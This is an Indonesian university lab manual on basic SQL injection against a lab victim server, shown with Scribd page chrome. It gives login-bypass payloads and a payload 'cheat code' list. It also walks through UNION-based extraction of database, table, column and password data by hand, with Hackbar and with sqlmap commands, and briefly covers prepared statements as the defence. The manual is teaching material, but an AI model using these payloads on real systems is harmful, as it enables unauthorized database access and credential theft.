0% menganggap dokumen ini bermanfaat (0 suara)
13 tayangan36 halaman

Praktikum SQL Injection di Web Keamanan

Diunggah oleh

A.F
Hak Cipta
© All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
0% menganggap dokumen ini bermanfaat (0 suara)
13 tayangan36 halaman

Praktikum SQL Injection di Web Keamanan

Diunggah oleh

A.F
Hak Cipta
© All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd

WEB SYSTEM & SECURITY LAB MANUAL

SQL INJECTION
Basic
Manipulasi Form & URL ID
Module 03

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Vulnerability Analisis Solusi

Pemanasan

1. Lakukan footprinting sederhana terhadap mesin victim menggunakan curl,


dapatkan informasi server yang digunakan.
2. Lakukan kembali footprinting sederhana menggunakan whatweb, identifikasi
url berikut:
• [Link]
• [Link]/simple_blog/
• [Link]/langitan/
• [Link]/wordpress47/
• [Link]/wordpress48/

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
A. Lab Environment

 Kali Linux as a attacker (Virtual Machine)


 Ubuntu Server as a victim (Virtual Machine)
 Web Browser
 Tools to scanning vulnerability
 IP Address Victim ([Link])
 URL target:
o [Link]

B. Lab Scenario
Telah diketahui beberapa website dengan url:
Website URL Vulnerability Page
[Link]/simple_blog [Link]

Gunakan metode SQL Injection (UNION BASED) untuk melakukan ekstraksi


informasi yang ada di database.

C. Lab Activity
Lakukan percobaan untuk melakukan ekstraksi informasi yang ada di database
melalui vulnerability page.

D. Tools
1. Browser (Mozilla Firefox)
2. Addons Mozilla Firefox (Hackbar atau yang sejenis)
3. SQLMAP

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
1
Manipulasi Form Login

Pengetahuan Dasar:
SQL Query
Tools:
Browser (Mozilla Firefox)

Langkah-langkah:
1. Akses Vulnerability Page dengan URL
[Link]

Gambar 1. Admin Login Page


A. Case pertama: Kita sudah mengetahui username
a. Gunakan tanda -- (dash dash), tanda ini merupakan tanda untuk
memberikan komentar atau menjadi query sebagai sebuah komentar. Jika
tanda ini dituliskan di depan query maka query tersebut tidak akan di
eksekusi.
Username: admin
Password: sembarang
Ex: admin’--
- Selalu gunakan spasi di belakang komentar

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Perhatikan pada gambar 2 berikut.

Gambar 2. Login admin

Setelah menekan tombol sign in, akan masuk ke halaman administrator.

Gambar 3. Halaman Administrator

** Masih ingat konsep komentar pada penulisan query?

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
0 1 1

Penjelasan, perhatikan potongan code berikut:

Gambar 4. Query Login

B. Case kedua: Kita tidak mengetahui username & password


a. Gunakan komentar dan logika OR
Username: ngwur’ OR 1=1 --
Password: sembarang
- Selalu gunakan spasi di belakang komentar

Perhatikan gambar 5 berikut:


Gambar 5. Login Admin
Setelah menekan tombol sign in, akan masuk ke halaman administrator.
** Masih ingat konsep komentar pada penulisan query dan logika OR ?

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
1 1 1

0 0 0

1 0 1

Gambar 6. Logika OR

Jika dituliskan dalam bentuk query:

C. How to Protect?

a. Validasi inputan

Gunakan:
- mysql_real_escape_string/mysqli_real_escape_string
- Prepared Statement

 mysqli_real_escape_string

Sebelum:

Gambar 7. Sebelum divalidasi

Sesudah:

Gambar 8. Sesudah divalidasi

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
 Prepared Statement

Gambar 9. Prepared Statement

Setelah inputan divalidasi dengan cara di atas, coba kembali dari proses pertama,
apakah masih bisa login dengan serangan SQL Injection atau tidak.

Cheat code

or 1=1-- “ or “a”=“a
“ or 1=1-- ‘) or (‘a’=‘a
“ or 0=0 # “) or (‘a’=‘a
or 0 = 0 # “) or (“a”=“a
‘ or ‘x’=“x tes” or 1=1 --
‘) or (‘x’=‘x tes’ or 1=1 --
‘ or 1=1-- tes’ or ‘a’=‘a
or 1=1– tes’) or (‘a’=‘a
‘ or ‘a’=‘a tes”) or (“a”=“a
dst…

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Latihan:
Vulnerability
• Cari halaman admin pada website langitan
[Link]/langitan)
• Cari celah SQL injection pada form login admin
Analisis
• Analisis dampak yang akan terjadi ketika ada celah SQL
injection
Solusi
• Berikan rekomendasi
• Tutup celah dengan coding

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
2
Ekstraksi Informasi Database
menggunakan SQL Injection
(UNION-MANUAL)
Pengetahuan Dasar:
SQL Query
Tools:
Browser (Mozilla Firefox)

Langkah-langkah:
1. Akses Vulnerability Page dengan URL
[Link]

Gambar 1. Vulnerability Page


2. Cobalah untuk mengganti nilai pada id, misalkan id=2, id=3, id=4, id=9999 dan
seterusnya.
3. Amati perubahan konten yang terjadi.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 2. id=9999, konten tidak ditemukan/kosong
Mencari jumlah kolom pada tabel:
- ORDER BY
- UNION
4. Mencari jumlah kolom yang ada pada tabel menggunakan ORDER BY, gunakan
percobaan sebagai berikut:

- [Link]/simple_blog/[Link]?id=1 ORDER BY 1
- [Link]/simple_blog/[Link]?id=1 ORDER BY 2
- [Link]/simple_blog/[Link]?id=1 ORDER BY 3
- [Link]/simple_blog/[Link]?id=1 ORDER BY 4
- [Link]/simple_blog/[Link]?id=1 ORDER BY 5

5. Amati perubahan konten setiap kali mengganti urutan angka pada ORDER BY,
berhentilah ketika konten yang ditampilkan sudah tidak muncul lagi.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 3. id=1 ORDER BY 1

6. Ketika sampai pada urutan ke 5, konten yang muncul adalah sebagai berikut:

Gambar 4. id=1 ORDER BY 5


Keterangan tersebut menandakan jumlah kolom yang ada pada tabel tersebut
sebanyak 4 kolom, karena ketika dicoba ORDER BY 5 muncul pesan error
‘unknown column 5 in order clause’. Dengan pengertian lain, konten yang
ditampilkan tidak bisa diurutkan berdasarkan kolom yang ke 5, karena kolom yang
ke 5 tidak ada di tabel.

7. Mencari jumlah kolom yang ada pada tabel menggunakan UNION, gunakan
percobaan sebagai berikut:

- [Link]/simple_blog/[Link]?id=1 UNION SELECT 1


- [Link]/simple_blog/[Link]?id=1 UNION SELECT 1,2
- [Link]/simple_blog/[Link]?id=1 UNION SELECT 1,2,3
- [Link]/simple_blog/[Link]?id=1 UNION SELECT 1,2,3,4
- [Link]/simple_blog/[Link]?id=1 UNION SELECT 1,2,3,4,5

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
8. Amati perubahan konten setiap kali mengganti urutan angka pada UNION
SELECT, berhentilah ketika konten yang dimaksud muncul.

Gambar 5. id=1 UNION SELECT 1

Gambar 6. id=1 UNION SELECT 1,2

Ga
mb
ar 7. id=1 UNION SELECT 1,2,3

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 8. id=1 UNION SELECT 1,2,3,4

Gambar 9. id=1 UNION SELECT 1,2,3,4,5


Pada percobaan di atas, dapat disimpulkan bahwa jumlah kolom yang ada pada tabel
berjumlah 4 kolom, dibuktikan dengan UNION SELECT 1,2,3,4 yang menampilkan
konten blog dan sudah tidak menampilkan pesan error ‘The used SELECT
statements have a different number of columns’.
9. Setelah berhasil menemukan jumlah kolom, langkah selanjutnya adalah
menampilkan hasil QUERY UNION SELECT, caranya dengan mengubah nilai
pada id menjadi nilai yang tidak ada di database, contoh -1 atau 9999.
10. Cobalah mengganti nilai id seperti berikut:

- [Link]/simple_blog/[Link]?id=9999 UNION SELECT 1,2,3,4


- [Link]/simple_blog/[Link]?id=9999 AND 1=2 UNION SELECT 1,2,3,4
- [Link]/simple_blog/[Link]?id=-1 UNION SELECT 1,2,3,4

11. Amati perubahan konten yang terjadi untuk masing-masing URL yang
dimasukkan.

[Link]/simple_blog/[Link]?id=-1 UNION SELECT 1,’nasi pecel’,3,4

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 10. id=9999 UNION SELECT 1,2,3,4

Gambar 11. id=9999 AND 1=2 UNION SELECT 1,2,3,4

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 12. id=-1 UNION SELECT 1,2,3,4
Perhatikan lingkaran berwarna merah, yang muncul adalah nilai dari hasil UNION
SELECT. Apapun yang kita masukkan pada nilai UNION SELECT, yang muncul
adalah sesuai dengan apa yang kita masukkan. Contoh, kita akan mengganti nilai
2 menjadi sebuah string ‘nasi pecel’, caranya cukup ganti nilai 2 menjadi ‘nasi
pecel’ seperti pada URL berikut:

Amati yang terjadi pada konten simple_blog.

Gambar 13. id=-1 UNION SELECT 1,’nasi pecel’,3,4


Nilai 2 sekarang sudah berubah menjadi sebuah string ‘nasi pecel’.
Pada tahapan ini berarti kita sudah bisa mencoba untuk mencari informasi
database yang pada website simple_blog.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
MySQL mempunyai beberapa fungsi bawaan (built in) diantaranya seperti:
- DATABASE() <- untuk menampilkan nama database yang digunakan
- USER() <- menampilkan username dan host name MySQL
- VERSION() <- menampilkan versi dari MySQL

12. Munculkan nama database dengan mengganti nilai 2 menjadi DATABASE()


seperti berikut:
[Link]/simple_blog/[Link]?id=-1 UNION SELECT 1,DATABASE(),3,4

Amati perubahan yang terjadi pada konten.

Gambar 14. id=-1 UNION SELECT 1,DATABASE(),3,4


Pada langkah ini, nama database sudah ditemukan yaitu simple_blog.
13. Munculkan username dan host name dengan mengganti nilai 3 menjadi USER()
seperti berikut:

[Link]/simple_blog/[Link]?id=-1 UNION SELECT 1,DATABASE(),USER(),4

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Amati perubahan yang terjadi pada konten.

Gambar 15. id=-1 UNION SELECT 1,’DATABASE()’,USER(),4


Pada langkah ini, username dan host name sudah ditemukan yaitu
user_simple_blog@localhost.
14. Langkah selanjutnya adalah mencari informasi tabel-tabel yang ada pada
database simple_blog. Ketikkan perintah berikut:

[Link]/simple_blog/[Link]?id=-1 UNION SELECT 1,group_concat(table_name),3,4


FROM information_schema.tables WHERE table_schema = ‘simple_blog’

Gambar 16. Informasi nama tabel


Pada percobaan tersebut, nama tabel-tabel yang ada pada database simple_blog
sudah ditemukan dengan memanfaatkan database information_schema.tables.
Information_schema menyimpan semua informasi yang ada pada MySQL/MariaDB

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
salah satunya adalah informasi nama tabel yang ada pada database tertentu. Tabel-
tabel tersebut adalah post dan user.
15. Langkah selanjutnya adalah mencari informasi kolom-kolom apa saja yang ada
pada tabel user. Ketikkan perintah berikut:

[Link]/simple_blog/[Link]?id=-1 UNION SELECT


1,group_concat(column_name),3,4 FROM information_schema.columns WHERE
table_schema = ‘simple_blog’ AND table_name = ‘user’

Gambar 17. Informasi kolom pada tabel user

Pada percobaan tersebut, nama kolom yang ada pada tabel user di database
simple_blog sudah ditemukan dengan memanfaatkan database
information_schema.columns. Information_schema.columns menyimpan
informasi nama kolom-kolom yang ada pada database tertentu. Kolom yang
ditemukan adalah id, username, password, email.
16. Langkah selanjutnya adalah mencari data yang tersimpan pada tabel user, karena
sebelumnya kita sudah berhasil menemukan nama database, tabel dan kolom.
Maka kita bisa langsung melakukan query dengan nama database dan tabel
tersebut, pada kasus ini kita menggunakan database simple_blog dan tabel user.
Misalkan disini kita akan mencari data username dan password pada tabel user.
Ketikkan perintah berikut:

[Link]/simple_blog/[Link]?id=-1 UNION SELECT 1,group_concat(username),


group_concat(password),4 FROM simple_blog.user

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 18. Data pada tabel user

Pada langkah ini kita sudah berhasil mendapatkan data yang ada pada tabel user,
username dan password dipisahkan dengan koma karena pada query yang kita
eksekusi menggunakan group_concat().

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
3
Ekstraksi Informasi Database
menggunakan SQL Injection
(UNION-HACKBAR)
Pengetahuan Dasar:
SQL Query
Tools:
- Browser (Mozilla Firefox)
- Addons Hackbar

Langkah-langkah:
1. Akses Vulnerability Page dengan URL
[Link]

Gambar 1. Vulnerability Page

2. Pastikan sudah menginstall addons hackbar, disini kita akan menggunakan


hackbar for quantum. Hackbar disini hanya untuk mempermudah saja.
3. Langkah selanjutnya adalah buka hackbar dengan menekan tombol F9,
kemudian akan terbuka sidebar hackbar for quantum.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
4. Masukkan URL seperti berikut pada hackbar.

Gambar 2. Hackbar for quantum

Kemudian klik RUN dan amati perubahan pada konten.

5. Langkah selanjutnya adalah mencari informasi database yang tersedia.


Caranya adalah sebagai berikut:

Gambar 3. Database()

Blok angka 4 (bebas selain angka 1) kemudian arahkan kebagian UNION


BASED dan pilih DATABASE NAME one shot()
Sehingga akan seperti ini:

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 4. DATABASE NAME one shot()

Kemudian RUN, amati perubahan pada konten.

Gambar 5. Database ditemukan


6. Langkah selanjutnya adalah mencari tabel yang ada pada database
simple_blog. Lakukan seperti langkah sebelumnya, blok angka 4 kemudian
pilih UNION BASED -> Tables -> TABLE_NAMES one shot()

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 6. TABLE_NAMES one shot()
Kemudian RUN dan amati perubahan pada konten.

Gambar 7. Tabel ditemukan

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
7. Langkah selanjutnya mencari kolom yang ada pada tabel user. Langkahnya
seperti sebelumnya, silahkan blok angka 4 kemudian pilih UNION BASED ->
Columns -> COLUMN_NAMES one shot()

Gambar 8. COLUMN_NAMES one shot()

Kemudian RUN dan amati perubahan konten.

Gambar 9. Kolom tabel user ditemukan

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Pada langkah ini, kita sudah berhasil mendapatkan kolom-kolom yang ada
pada tabel user.

8. Langkah selanjutnya adalah mencari data yang ada pada tabel user, misalkan
disini kita akan mencari data username yang ada pada tabel user. Langkahnya
seperti sebelumnya, blok angka 4, kemudian pilih UNION
BASED->Data->DATA one shot()

Gambar 10. DATA one shot()

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Pada bagian bawah hackbar akan menampilkan field inputan untuk database,
karena sebelumnya kita sudah tau databasenya maka masukkan database
simple_blog -> OK.

Gambar 11. Database simple_blog

Kemudian akan diminta tabel yang akan dilihat datanya, masukkan user -> OK

Gambar 12. Tabel User

Kemudian akan diminta kolom yang dilihat datanya, masukkan username ->
OK

Gambar 13. Kolom username

Kemudian amati perubahan konten yang terjadi.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 14. Data username pada tabel user

Pada langkah ini data username pada tabel user sudah ditemukan.

Silahkan coba untuk mencari password yang tersimpan pada tabel user.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
4
Ekstraksi Informasi Database
menggunakan SQLMAP

Pengetahuan Dasar:
SQL Query
Tools:
- Terminal
- sqlmap

Langkah-langkah:
-
1.- Akses Vulnerability Page dengan URL
[Link]

Gambar 1. Vulnerability Page

2. Ketikkan perintah berikut pada terminal :

sqlmap -u [Link] --dbs


Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
-u = URL
--dbs = list database

Gambar 2. Sqlmap

Perhatikan garis berwarna merah, bagian tersebut adalah perintah yang kita
gunakan untuk melakukan ekstraksi database.
Selain itu juga terdapat beberapa metode injeksi dan payload yang digunakan
oleh sqlmap untuk mencari vulnerability.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 3. Metode Injeksi dan Payload

Kemudian pada bagian bawah akan ditampilkan teknologi web yang digunakan dan
list database yang berhasil didapatkan:

Gambar 4. List database

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Ditemukan 3 buah database yaitu information_schema, simple_blog, test. Dari 3
database tersebut, kita sudah bisa menebak database mana yang digunakan oleh
URL target yaitu database simple_blog.
3. Langkah selanjutnya adalah mencari tabel yang ada pada database
simple_blog.
Ketikkan perintah berikut pada terminal:

sqlmap -u [Link] -D simple_blog --tables

-D = nama database
--tables = untuk mencari tabel pada database

Gambar 5. Mencari tabel

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Pada bagian bawah akan menampilkan tabel-tabel apa saja yang ada pada
database simple_blog.

Gambar 6. List tabel

Pada database simple_blog, tabel yang ditemukan adalah user dan post.
Dari nama tabel kita bisa menyimpulkan tabel user digunakan untuk
menyimpan data-data user dan tabel post digunakan untuk menyimpan
postingan.

4. Langkah selanjutnya mencari kolom yang ada pada tabel, pada kasus kali ini
kita akan melihat kolom apa saja yang ada pada tabel user.
Ketikkan perintah berikut pada terminal:

sqlmap -u [Link] -D simple_blog -T


user --columns

-D = nama database
-T = nama tabel
--columns = mencari kolom pada tabel

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 7. Melihat kolom

Pada bagian bawah akan muncul kolom-kolom yang ada pada tabel user.

Gambar 8. Kolom tabel user

5. Langkah selanjutnya adalah melakukan dump pada tabel user, sehingga data
pada tabel user bisa dibaca.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Ketikkan perintah berikut pada terminal:

Gambar 9. Dump tabel user


Pada bagian bawah, akan ditampilkan data-data yang ada pada tabel user.

Gambar 10. Data tabel user


Data dari tabel user berhasil didapatkan, tinggal mencoba untuk login.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Latihan :
Silahkan dicoba website dengan url [Link]/langitan

Klue:
[Link], page

Dapatkan
nama database,
nama tabel,
kemudian cari data username & password
screenshot payload yang digunakan.

Tools :
sqlmap

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer

Anda mungkin juga menyukai